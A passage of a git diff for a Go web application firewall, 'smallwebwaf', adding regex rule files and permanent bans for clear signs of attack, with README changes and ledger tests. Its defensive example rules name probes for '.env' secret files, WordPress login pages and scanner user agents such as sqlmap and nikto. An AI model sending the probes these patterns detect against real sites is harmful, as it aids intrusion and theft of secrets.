`403`, `429`, or `close` to + close the connection without an answer. Behind traefik, `close` does not leave + the client unanswered: traefik answers `502`, as it does whenever its backend + drops a connection. A `block` rule always answers `403`. - `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken rate limit. - `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit broken again - within this time after a ban ended bans for three times as long as that ban. -- `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban that would be longer is - permanent instead. + within this time after a ban ended, other than one for a clear sign of attack, + bans for three times as long as that ban. +- `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban for a broken rate limit that + would be longer is permanent instead. +- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of + attack. - `SWWAF_MAX_BANS` (default `5000`): the most bans kept, past, active and permanent. - `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): the length of the netblock around @@ -260,6 +284,10 @@ it, and the effective settings are logged at start. `********` in its place. - `SWWAF_METRICS_TOP_N` (default `50`): how many countries get series of their own in the metrics by country; the others are counted as `other`. +- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the + rule files. A directory that does not exist stops the start. +- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks + no request against one. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 @@ -322,18 +350,19 @@ A field that does not apply to a request is left out of its line, apart from - `request_bytes` and `response_bytes` count body bytes. - `action` is `forward` for a request passed to the app, `denied` for one refused because its client is in `SWWAF_DENY_NETS`, `banned` for one refused - because a ban covers its client, `country_denied` for one refused for its - client's country, `rate_limited` for one that broke a rate limit and banned - its client, `too_large` for a request or response over its size limit, - `timed_out` for one that ran out of time, `upstream_error` when the app could - not be reached or its answer broke off, and `admin` for one `smallwebwaf` - answered at its own endpoint. + because a ban covers its client or because it matched a `ban` rule, which bans + its client, `country_denied` for one refused for its client's country, + `rate_limited` for one that broke a rate limit and banned its client, + `rule_blocked` for one a `block` rule refused, `too_large` for a request or + response over its size limit, `timed_out` for one that ran out of time, + `upstream_error` when the app could not be reached or its answer broke off, + and `admin` for one `smallwebwaf` answered at its own endpoint. - `would_action` is there in `observe` mode for a request that - `SWWAF_DENY_NETS`, a ban, the country lists or a rate limit would have refused - in `enforce` mode, and names the action that refusal would have had: `denied`, - `banned`, `country_denied` or `rate_limited`. `action` then names what was - done: `forward` for a request passed to the app, and another action, such as - `too_large`, for one a size or time limit refused. + `SWWAF_DENY_NETS`, a ban, the country lists, a rate limit or a rule would have + refused in `enforce` mode, and names the action that refusal would have had: + `denied`, `banned`, `country_denied`, `rate_limited` or `rule_blocked`. + `action` then names what was done: `forward` for a request passed to the app, + and another action, such as `too_large`, for one a size or time limit refused. - `counts` gives the client's requests in the minute, the hour and the day as the rate limits count them, this request included: in each window, those in the bucket under way and a share of those in the bucket before, so a count can @@ -344,6 +373,8 @@ A field that does not apply to a request is left out of its line, apart from `SWWAF_RATE_LIMIT_EXEMPT_PATHS` exempts, and one that `SWWAF_DENY_NETS`, a ban or the country lists refuse, or would refuse in `observe` mode. The byte totals come with the byte limits. +- `rule_ids` is there for a request that matched rules of the rule files, and + lists their ids in the order they matched, up to the one that refused it. - `limit_hit` is there for a request that broke a rate limit, and names the window whose limit it went over: `minute`, `hour` or `day`, the shortest if it went over several. `offence` is then `limit`. @@ -381,7 +412,8 @@ all, which it answers itself, mostly with `400`. entries by client address, with times in UTC. - `bans.json`: every ban with its notes, indented to be read; a permanent ban's - `expires` is `null`. + `expires` is `null`, and a ban `smallwebwaf` made has the `cause` `limit` for + a broken rate limit or `attack` for a clear sign of attack. - `clients.json`: each client's two buckets in the minute, the hour and the day, and its history: when it was first and last seen, its country as last looked up and when, its requests, how many were forwarded and how many refused (one @@ -392,12 +424,13 @@ entries by client address, with times in UTC. - `lookups.json`: GeoJS's answers, one to a line, with when GeoJS gave each and when it was last used. -`bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made, with every -ban made in between, and every file every `SWWAF_STATE_COUNTER_INTERVAL` and -when `smallwebwaf` stops. Each write goes to a temporary file in the same -directory, which then replaces the file, so a crash leaves the old file or the -new one, whole. A write that fails is logged, and tried again at the next write. -A hard kill loses what changed since the last write. +`bans.json` is written `SWWAF_STATE_WRITE_DELAY` after a ban is made or made +permanent, with every such change in between, and every file every +`SWWAF_STATE_COUNTER_INTERVAL` and when `smallwebwaf` stops. Each write goes to +a temporary file in the same directory, which then replaces the file, so a crash +leaves the old file or the new one, whole. A write that fails is logged, and +tried again at the next write. A hard kill loses what changed since the last +write. At start the files are read back: each client keeps its counts, so a restart gives it no fresh allowance, and each ban keeps refusing every client in its @@ -412,7 +445,8 @@ without a field it needs, named with the entry's place in the file: a ban's `netblock`, `start` or `expires`, which is `null` for a permanent ban; a client's `client`, or the `start` of a window in which it has requests; an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or -`answered`. The AS number and AS name come with their lookup. +`answered`. So does a ban whose `cause` is neither `limit` nor `attack`. The AS +number and AS name come with their lookup. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -421,17 +455,19 @@ yours by comparing the file with what it last read or wrote, and before it writes a file it takes in any edit made since, so your edit is not overwritten; a change `smallwebwaf` made after you opened the file, such as a new ban, is lost when you save over it. An edit that would stop the start, because it does -not parse, has another `version` or leaves out a field an entry needs, does not -stop the running `smallwebwaf`: it keeps what it holds, and at the file's next -write renames your file to `.bad`, such as `bans.json.bad`, writes the -file again from memory, and logs the file and where the error is. It waits for -that write because an editor's file can be read before the editor has finished -writing it. Mend the `.bad` file and move it back. A file you remove is written -again at its next write. +not parse, has another `version`, leaves out a field an entry needs or gives a +ban another `cause`, does not stop the running `smallwebwaf`: it keeps what it +holds, and at the file's next write renames your file to `.bad`, such as +`bans.json.bad`, writes the file again from memory, and logs the file and where +the error is. It waits for that write because an editor's file can be read +before the editor has finished writing it. Mend the `.bad` file and move it +back. A file you remove is written again at its next write. To ban a netblock, add an entry to `bans.json` with its `netblock`, its `start` -and its `expires`, `null` for a ban that never ends; its `notes` may be left -out. This `bans.json` bans `203.0.113.0/24` for good: +and its `expires`, `null` for a ban that never ends; its `cause` and its `notes` +may be left out. A ban whose `cause` is `attack` becomes permanent at the first +request it refuses; one without a cause does not. This `bans.json` bans +`203.0.113.0/24` for good: ```json { @@ -449,6 +485,81 @@ out. This `bans.json` bans `203.0.113.0/24` for good: To lift a ban, delete its entry. `smallwebwaf` then forgets the ban, so it does not make the netblock's next ban longer. +## Rule files + +`smallwebwaf` reads every `*.rules` file in `SWWAF_RULES_DIR`, +`/etc/smallwebwaf/rules.d` by default, in the order of their names, and checks +each request against their rules in that order, as "Rule files" in +[`SPEC.md`](SPEC.md) describes. A file whose name starts with `.`, such as an +editor's lock file `.#50-app.rules`, is not a rule file, as a shell's `*.rules` +would not match it. A rule is a line of four fields separated by spaces or tabs: +an id, a target, an action and a regex, which runs to the end of the line. +Spaces and tabs at the end of a line are not part of its regex, so a line with +only those after its action has no regex, and is not a rule. Blank lines and +lines that start with `#` are ignored. + +``` +# id target action regex +env-file path ban (?i)^/\.env(\.[a-z]+)?$ +scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b +``` + +- The id is letters, digits, `-` and `_`, and no two rules share one. The + request log, the metrics and a ban's notes name the rule by it. +- The target is what the regex is matched against: `path` or `query`, as the + client sent it, before any decoding; `uri`, the path and the query together, + both as sent and once percent-decoded, so that an encoded probe does not slip + past; `method`; `host`; `user_agent`; `referer`; or `header:`, any one + request header but `Host` and `Transfer-Encoding`, which Go's HTTP server + takes out of every request; the request's host is the target `host`. A header + sent more than once is matched with its values joined by `, `, and one not + sent as empty text. No body is read. +- The action is `log`, `block` or `ban` (see "What it does so far" above). Keep + `ban` for requests no real visitor sends, and anchor a path at the site root + with `^/`: a file of the same name deeper in a site can be ordinary content, + such as a file in a repository on a code forge. +- The regex is in Go's syntax, RE2, which has no backreferences or lookaround, + and takes time linear in the text it reads. It matches anywhere in the target + unless anchored with `^` and `$`; `(?i)` at its front makes it ignore case. + +A line that is not a rule, a `header:` name with a character no header name can +have, such as `header:User-Agent:`, a rule for the `Host` or the +`Transfer-Encoding` header, a regex that does not compile or an id used twice +stops the start with a message naming the file and the line, and so does a +`SWWAF_RULES_DIR` that does not exist. An empty directory is no error, and the +log says that it holds no rules. While it runs, `smallwebwaf` watches the +directory, and reads the rule files again once the directory has had no change +for 2 seconds after one is edited, added or removed, so that a file saved in +place, appended to or copied in with `scp` is read only once whole, unless its +writing stops for longer. It also reads them 2 seconds after it starts watching, +so that an edit saved while it started is not missed. If they then hold one of +those errors, the rules stay as they were, the earlier version of the edited +file included, the log names the file and the line, and the files are read again +after the next change. + +The image ships one rule file, `share/rules.d/00-default.rules` here: rules that +ban probes no real visitor sends, for secrets, version control directories, +backups, logs and web shells at the site root, and the user agents of common +scanners; one that blocks `../` twice in a row in the path or the query; and one +that only notes a request without a user agent. An app's Dockerfile adds rules +of its own in a file beside it, named to sort after it, such as this +`50-gitea.rules` for an app that serves no WordPress: + +``` +wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/) +``` + +```dockerfile +COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules +``` + +A directory mounted over `/etc/smallwebwaf/rules.d` replaces the default file, +and single files mounted into it add to it. Docker does not show a single +mounted file being replaced, which is how many editors save, so rules to be +edited while `smallwebwaf` runs belong in a mounted directory, with a copy of +`00-default.rules` if its rules are to stay. To run without rules, mount an +empty directory or set `SWWAF_RULES_ENABLED=false`. + ## Metrics `GET /_smallwebwaf/metrics` answers with the metrics in the Prometheus text @@ -466,8 +577,11 @@ other request. No metric carries a client's address. - `smallwebwaf_rate_limit_hits_total` by `window`, `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose limit was passed, `smallwebwaf_offences_total` by `kind`, and - `smallwebwaf_bans_made_total` by `cause`; `smallwebwaf_active_bans` and - `smallwebwaf_permanent_bans`. + `smallwebwaf_bans_made_total` by `cause`, `limit` or `attack`; + `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`. +- `smallwebwaf_rule_matches_total`: the requests that matched each rule, by + `rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the + rules read from the rule files. - `smallwebwaf_country_requests_total`, `smallwebwaf_country_request_bytes_total`, `smallwebwaf_country_response_bytes_total`, and @@ -494,7 +608,7 @@ other request. No metric carries a client's address. The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request log") are not counted. The metrics of the features still to come, such as the -rule files, come with them. +Core Rule Set, come with them. ## Why @@ -768,25 +882,29 @@ addresses are never sent to GeoJS. ## How the code is laid out - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. -- `internal/smallwebwaf`: the process: it reads the settings and the state - files, listens, serves requests until `SIGTERM` or `SIGINT`, and stops, - writing the state files. Run as `smallwebwaf healthcheck`, it is the image's - health check instead. +- `internal/smallwebwaf`: the process: it reads the settings, the rule files and + the state files, listens, serves requests until `SIGTERM` or `SIGINT`, and + stops, writing the state files. Run as `smallwebwaf healthcheck`, it is the + image's health check instead. - `internal/config`: reads the settings, the one place they are read. - `internal/proxy`: what happens to each request: it works out the client, runs the checks, passes the request to the app and the answer back with the standard library's `httputil.ReverseProxy` within the timeouts and size limits, and writes the request's log line. Its `check` method is where a request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for - a ban, for the country lists, for a rate limit, which bans the client, and for - an announced body over the size limit; in `observe` mode, only for the size - limit, with what it would have refused for noted in the log line. A request - under `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` + a ban, for the country lists, for a rate limit, which bans the client, for a + `block` or `ban` rule, the latter banning the client, and for an announced + body over the size limit; in `observe` mode, only for the size limit, with + what it would have refused for noted in the log line. A request under + `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` instead of reaching the app. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how - long a new ban lasts, and which ban is dropped when `SWWAF_MAX_BANS` are held. + long a new ban lasts, when a ban for a clear sign of attack becomes permanent, + and which ban is dropped when `SWWAF_MAX_BANS` are held. +- `internal/rules`: reads the rule files at start and again as they change, and + tells which of their rules a request matches. - `internal/lookup`: looks up each client's country through GeoJS, and keeps the answers. - `internal/ratelimit`: the table of clients: counts each client's requests, @@ -797,7 +915,8 @@ addresses are never sent to GeoJS. process's own messages. - `Dockerfile`: the lint and test phases, then the image, whose last stage installs Ubuntu's packages, nixpkgs, `runsvinit` and `smallwebwaf`, with - `share/smallwebwaf.run` as runit's `run` script for `smallwebwaf`. + `share/smallwebwaf.run` as runit's `run` script for `smallwebwaf` and + `share/rules.d/00-default.rules` as its default rule file. - `deploy/example-app`: an app built on the image, which `script/example-app` checks. @@ -805,8 +924,8 @@ Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the table of clients to 20,000, the GeoJS answers to 100,000 and the banned netblocks to `SWWAF_MAX_BANS`, dropping the least recently seen, and `github.com/prometheus/client_golang` keeps the metrics and serves them, and -`github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file is saved. -The country codes are the list in `internal/config/config.go`. +`github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file or a rule +file is saved. The country codes are the list in `internal/config/config.go`. ## Entrypoints @@ -836,16 +955,17 @@ so that they run in minimal containers. - `script/build`: builds `bin/smallwebwaf` on the host, with Go installed, for working on the code by hand; `make build` runs it. - `script/run`: builds `bin/smallwebwaf` with `script/build` and runs it, with - its state files in `bin/state` unless `SWWAF_STATE_DIR` is set; `make run` - runs it. + its state files in `bin/state` unless `SWWAF_STATE_DIR` is set, and the rule + files of `share/rules.d` unless `SWWAF_RULES_DIR` is set; `make run` runs it. - `script/example-app`: builds the image and, on it, the example app in `deploy/example-app`, runs it with a volume for the state files, and checks that the health check passes, that a request reaches the app through - `smallwebwaf`, that a second request in a minute bans the client, that - `sv stop` and `docker stop` stop it in order, and that a new container on the - same volume still refuses the banned client; then removes the containers, the - volume and both images. It needs network access, for nixpkgs' binary cache, - and `script/check` does not run it; `make example-app` does. + `smallwebwaf`, that a second request in a minute bans the client, that a probe + for `/.env` bans another client, whose next request makes the ban permanent, + that `sv stop` and `docker stop` stop it in order, and that a new container on + the same volume still refuses the banned client; then removes the containers, + the volume and both images. It needs network access, for nixpkgs' binary + cache, and `script/check` does not run it; `make example-app` does. ## TODO diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 19b7c19..5bccf15 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -1,7 +1,8 @@ // Package bans is the ban ledger: the bans smallwebwaf makes on the -// netblocks of clients that break a rate limit, with their notes, as the -// "Bans" section of SPEC.md describes. The bans are kept in memory, and -// written to bans.json and read from it by the state package. +// netblocks of clients that break a rate limit or show a clear sign of +// attack, with their notes, as the "Bans" section of SPEC.md describes. +// The bans are kept in memory, and written to bans.json and read from it +// by the state package. package bans import ( @@ -14,6 +15,15 @@ import ( "github.com/hashicorp/golang-lru/v2/simplelru" ) +// The causes of the bans smallwebwaf makes. A ban an admin adds to +// bans.json may have no cause. +const ( + // CauseLimit is a ban for a broken limit. + CauseLimit = "limit" + // CauseAttack is a ban for a clear sign of attack. + CauseAttack = "attack" +) + // repeatFactor is how many times as long as the netblock's last ban a ban // for a limit broken again within the repeat window lasts. const repeatFactor = 3 @@ -21,32 +31,37 @@ const repeatFactor = 3 // maxTextBytes is how much of each text in a ban's notes is kept. const maxTextBytes = 256 -// Rules are how long a ban for a broken limit lasts, and how many bans -// are held. +// Rules are how long a ban lasts, and how many bans are held. type Rules struct { - // LimitBanDuration is how long a first ban lasts. + // LimitBanDuration is how long a first ban for a broken limit lasts. LimitBanDuration time.Duration // LimitBanRepeatWindow is how soon after the end of the netblock's - // ban that ended last a broken limit counts as a repeat, which bans - // for repeatFactor times as long as that ban. + // ban that ended last, other than one for a clear sign of attack, a + // broken limit counts as a repeat, which bans for repeatFactor times as + // long as that ban. LimitBanRepeatWindow time.Duration - // MaxBanDuration is the longest ban; a ban that would be longer is - // permanent instead. + // MaxBanDuration is the longest ban for a broken limit; one that would + // be longer is permanent instead. MaxBanDuration time.Duration + // AttackBanDuration is how long a first ban for a clear sign of attack + // lasts. + AttackBanDuration time.Duration // MaxBans is the most bans held, at least one. Past it, the earliest // ban of the netblock that has gone longest without a request is // dropped. MaxBans int } -// Ban is a ban on a netblock for a broken limit, the only kind of ban -// smallwebwaf makes so far. +// Ban is a ban on a netblock. type Ban struct { Netblock netip.Prefix Start time.Time // Expires is when the ban ends, zero for a permanent ban. Expires time.Time - Notes Notes + // Cause is CauseLimit or CauseAttack, or "" for a ban an admin added + // without one. + Cause string + Notes Notes } // Permanent reports whether the ban never runs out. @@ -66,23 +81,39 @@ func (b Ban) ActiveAt(now time.Time) bool { type Notes struct { // Country is the client's country, when it was looked up. Country string `json:"country"` - // Limit, Window and Count are the limit that was broken, its window, - // "minute", "hour" or "day", and the count reached: the client's - // requests in the window, the one that broke the limit included. - // These are the requests that counted toward the ban, and the window - // is the time over which they came. - Limit int64 `json:"limit"` - Window string `json:"window"` - Count float64 `json:"count"` - // Request is the request that broke the limit. + // Limit, Window and Count are, for a ban for a broken limit, the limit + // that was broken, its window, "minute", "hour" or "day", and the + // count reached: the client's requests in the window, the one that + // broke the limit included. These are the requests that counted + // toward the ban, and the window is the time over which they came. + Limit int64 `json:"limit,omitempty"` + Window string `json:"window,omitempty"` + Count float64 `json:"count,omitempty"` + // RuleID and Target are, for a ban for a clear sign of attack, the id + // of the rule file rule that matched, and its target. + RuleID string `json:"rule_id,omitempty"` + Target string `json:"target,omitempty"` + // Request is the request that broke the limit, or that was the clear + // sign of attack. Request Request `json:"request"` // Requests is how many requests the netblock has sent since it was // first seen, and Refused how many of them the ban has refused so // far. Both go up with each request the ban refuses. Requests int64 `json:"requests"` Refused int64 `json:"refused"` - // EarlierBans is how many bans the netblock had before this one. - EarlierBans int `json:"earlier_bans"` + // EarlierBans is how many bans the netblock had before this one, by + // cause. + EarlierBans EarlierBans `json:"earlier_bans"` +} + +// EarlierBans counts a netblock's bans before a ban, by cause. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does +type EarlierBans struct { + Limit int `json:"limit"` + Attack int `json:"attack"` + // WithoutCause counts the bans an admin added without a cause. + WithoutCause int `json:"without_cause"` } // Request is a request in a ban's notes. Each text is cut to 256 bytes. @@ -112,8 +143,8 @@ type Ledger struct { netblocks *simplelru.LRU[netip.Prefix, *[]Ban] // held is how many bans netblocks holds, at most rules.MaxBans. held int - // made is how many bans BanForLimit has made since the start. - made int + // made is how many bans the ledger has made since the start, by cause. + made map[string]int // v4Lengths and v6Lengths are the lengths of the IPv4 and IPv6 // netblocks that have been banned. Check looks for a ban at each of // them, so that a ban read from bans.json refuses every client in its @@ -135,18 +166,21 @@ func New(rules Rules) *Ledger { rules: rules, changed: make(chan struct{}, 1), netblocks: netblocks, + made: map[string]int{}, } } -// Changed receives a value after a ban is made, so that bans.json can be -// written. Several bans made before it is read leave one value. +// Changed receives a value after a ban is made or made permanent, so that +// bans.json can be written. Several changes before it is read leave one +// value. func (l *Ledger) Changed() <-chan struct{} { return l.changed } // Check is called for a request from client, at now. It reports whether // a ban on a netblock client is in is active, and returns that ban, with -// the request counted among those it refused. +// the request counted among those it refused. A ban for a clear sign of +// attack is made permanent by the request: the netblock is malicious. func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool) { l.mu.Lock() defer l.mu.Unlock() @@ -159,6 +193,12 @@ func (l *Ledger) Check(client netip.Addr, now time.Time) (Ban, bool) { ban.Notes.Requests++ ban.Notes.Refused++ + if ban.Cause == CauseAttack && !ban.Permanent() { + ban.Expires = time.Time{} + + l.markChanged() + } + return *ban, true } @@ -192,54 +232,22 @@ func activeBan(bans []Ban, now time.Time) *Ban { // BanForLimit bans netblock at now for a broken limit, with notes, and // returns the ban. A first ban lasts LimitBanDuration. A ban made within -// LimitBanRepeatWindow after the netblock's ban that ended last lasts -// repeatFactor times as long as that one. A ban that would be longer -// than MaxBanDuration is permanent instead. If a ban on netblock is still -// active, as when two of its requests break a limit at once, that ban is -// returned and no other is made. The ledger fills in the notes' Refused -// and EarlierBans itself. +// LimitBanRepeatWindow after the netblock's ban that ended last, other +// than one for a clear sign of attack, lasts repeatFactor times as long as +// that one. A ban that would be longer than MaxBanDuration is permanent +// instead. If a ban on netblock is still active, as when two of its +// requests break a limit at once, that ban is returned and no other is +// made. The ledger fills in the notes' Refused and EarlierBans itself. func (l *Ledger) BanForLimit(netblock netip.Prefix, now time.Time, notes Notes) Ban { - l.mu.Lock() - defer l.mu.Unlock() + return l.ban(netblock, now, CauseLimit, notes) +} - var last *Ban - - bans, found := l.netblocks.Get(netblock) - if found { - active := activeBan(*bans, now) - if active != nil { - return *active - } - - // No ban is active, so each has an end. A ban an admin adds to - // bans.json can start after another and end before it, so the - // ban that ended last is looked for among them all. - ended := slices.MaxFunc(*bans, func(a, b Ban) int { - return a.Expires.Compare(b.Expires) - }) - last = &ended - - // The netblock's first ban held counts the bans it had before that - // one, since dropped to make room, and each ban held adds one. - notes.EarlierBans = (*bans)[0].Notes.EarlierBans + len(*bans) - } - - notes.Request = notes.Request.cut() - ban := Ban{ - Netblock: netblock, - Start: now, - Expires: l.expiry(last, now), - Notes: notes, - } - l.add(ban) - l.made++ - - select { - case l.changed <- struct{}{}: - default: // a value is waiting already - } - - return ban +// BanForAttack bans netblock at now for a clear sign of attack, with +// notes, and returns the ban, as BanForLimit does. A first ban lasts +// AttackBanDuration; once the netblock has had one, the next is +// permanent. +func (l *Ledger) BanForAttack(netblock netip.Prefix, now time.Time, notes Notes) Ban { + return l.ban(netblock, now, CauseAttack, notes) } // Bans returns the bans held on netblock, oldest first. It is not a @@ -256,13 +264,13 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { return slices.Clone(*bans) } -// Made returns how many bans the ledger has made since the start; bans -// read from bans.json are not among them. -func (l *Ledger) Made() int { +// Made returns how many bans for cause the ledger has made since the +// start; bans read from bans.json are not among them. +func (l *Ledger) Made(cause string) int { l.mu.Lock() defer l.mu.Unlock() - return l.made + return l.made[cause] } // Count returns how many of the bans held are active at now, and how many @@ -332,6 +340,73 @@ func (l *Ledger) Load(bans []Ban) { } } +// ban bans netblock at now for cause, with notes, as BanForLimit and +// BanForAttack describe, and returns the ban. +func (l *Ledger) ban( + netblock netip.Prefix, now time.Time, cause string, notes Notes, +) Ban { + l.mu.Lock() + defer l.mu.Unlock() + + // held are the netblock's bans, none of them active. + var held []Ban + + bans, found := l.netblocks.Get(netblock) + if found { + active := activeBan(*bans, now) + if active != nil { + return *active + } + + held = *bans + notes.EarlierBans = earlierBans(held) + } + + notes.Request = notes.Request.cut() + ban := Ban{Netblock: netblock, Start: now, Cause: cause, Notes: notes} + + if cause == CauseAttack { + ban.Expires = l.attackExpiry(held, now) + } else { + ban.Expires = l.limitExpiry(held, now) + } + + l.add(ban) + l.made[cause]++ + l.markChanged() + + return ban +} + +// earlierBans returns how many bans a netblock with the bans held, oldest +// first, has had, by cause: the first ban held counts the bans the +// netblock had before that one, since dropped to make room, and each ban +// held adds one. +func earlierBans(held []Ban) EarlierBans { + earlier := held[0].Notes.EarlierBans + + for _, ban := range held { + switch ban.Cause { + case CauseLimit: + earlier.Limit++ + case CauseAttack: + earlier.Attack++ + default: + earlier.WithoutCause++ + } + } + + return earlier +} + +// markChanged has Changed receive a value, unless one is waiting already. +func (l *Ledger) markChanged() { + select { + case l.changed <- struct{}{}: + default: // a value is waiting already + } +} + // active returns the ban active at now on a netblock client is in, or // nil. func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { @@ -383,12 +458,23 @@ func (l *Ledger) add(ban Ban) { } } -// expiry returns when a ban for a broken limit made at now ends, or zero -// when it is permanent. last is the netblock's ban that ended last, or nil -// when it has none. -func (l *Ledger) expiry(last *Ban, now time.Time) time.Time { +// limitExpiry returns when a ban for a broken limit made at now ends, or +// zero when it is permanent. held are the netblock's bans, none of them +// active, of which the one that ended last, other than a ban for a clear +// sign of attack, can make the new ban longer. A ban an admin adds to +// bans.json can start after another and end before it, so that one is +// looked for among them all. +func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { length := l.rules.LimitBanDuration + var last *Ban + + for i, ban := range held { + if ban.Cause != CauseAttack && (last == nil || ban.Expires.After(last.Expires)) { + last = &held[i] + } + } + if last != nil && now.Sub(last.Expires) <= l.rules.LimitBanRepeatWindow { lastLength := last.Expires.Sub(last.Start) // This is repeatFactor * lastLength > MaxBanDuration, written so @@ -407,6 +493,20 @@ func (l *Ledger) expiry(last *Ban, now time.Time) time.Time { return now.Add(length) } +// attackExpiry returns when a ban for a clear sign of attack made at now +// ends. held are the netblock's bans, none of them active: if one of them +// is for a clear sign of attack too, the new ban is permanent, and its +// end zero; otherwise it ends AttackBanDuration later. +func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time { + for _, ban := range held { + if ban.Cause == CauseAttack { + return time.Time{} + } + } + + return now.Add(l.rules.AttackBanDuration) +} + // dropOne drops the earliest ban of the netblock that has gone longest // without a request, and the netblock with it if that was its only ban. func (l *Ledger) dropOne() { diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index 0bf38f1..87fe845 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -24,8 +24,9 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) { ban := ledger.BanForLimit(netblock, now, bans.Notes{}) length := time.Duration(hours) * time.Hour - if !ban.Expires.Equal(now.Add(length)) || ban.Notes.EarlierBans != i { - t.Fatalf("ban %d lasts %s with %d earlier bans, want %d hours and %d", + if !ban.Expires.Equal(now.Add(length)) || + ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) { + t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i) } @@ -66,8 +67,9 @@ func TestRepeatWindowRunsOut(t *testing.T) { first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) second := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{}) - if second.Expires.Sub(second.Start) != tc.want || second.Notes.EarlierBans != 1 { - t.Errorf("second ban lasts %s with %d earlier bans, want %s and 1", + if second.Expires.Sub(second.Start) != tc.want || + second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { + t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want) } }) @@ -235,9 +237,102 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) { second := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) held := ledger.Bans(netblock) - if len(held) != 1 || held[0] != second || held[0].Notes.EarlierBans != 1 { - t.Errorf("the ledger holds %+v, want only the second ban, with 1 earlier ban", - held) + if len(held) != 1 || held[0] != second || + held[0].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { + t.Errorf("the ledger holds %+v, want only the second ban, "+ + "with 1 earlier ban for a limit", held) + } +} + +func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + notes := bans.Notes{RuleID: "env-file", Target: "path"} + + ban := ledger.BanForAttack(netblock, midnight(), notes) + if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack || + ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 || + ledger.Made(bans.CauseLimit) != 0 { + t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+ + "want one for an attack, of seven days", ban, + ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit)) + } + + wantChanged(t, ledger, true) + + // In observe mode the ban refuses nothing, and stays as it is. + got, _ := ledger.Find(netblock.Addr(), midnight().Add(time.Hour)) + if got.Permanent() { + t.Fatal("a request found under the ban made it permanent") + } + + // A request it refuses makes it permanent, and bans.json due. + got, _ = ledger.Check(netblock.Addr(), midnight().Add(time.Hour)) + if !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() { + t.Fatalf("after a request during the ban, it is %+v, want it permanent", got) + } + + wantChanged(t, ledger, true) + + _, banned := ledger.Check(netblock.Addr(), midnight().Add(100*365*day)) + if !banned { + t.Error("the permanent ban ended") + } +} + +func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + + // A ban for a broken limit before does not count. + first := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) + second := ledger.BanForAttack(netblock, first.Expires, bans.Notes{}) + + if second.Expires.Sub(second.Start) != 7*day { + t.Fatalf("the first ban for an attack lasts %s, want 7 days", + second.Expires.Sub(second.Start)) + } + + // Once that has run out without a request, the netblock is served, and + // its next clear sign of attack bans it for good. + _, banned := ledger.Check(netblock.Addr(), second.Expires) + if banned { + t.Fatal("the ban did not end") + } + + // Its notes show the earlier ban for an attack that makes it permanent, + // beside the one for a limit. + third := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{}) + if !third.Permanent() || + third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { + t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ + "with 1 earlier ban for a limit and 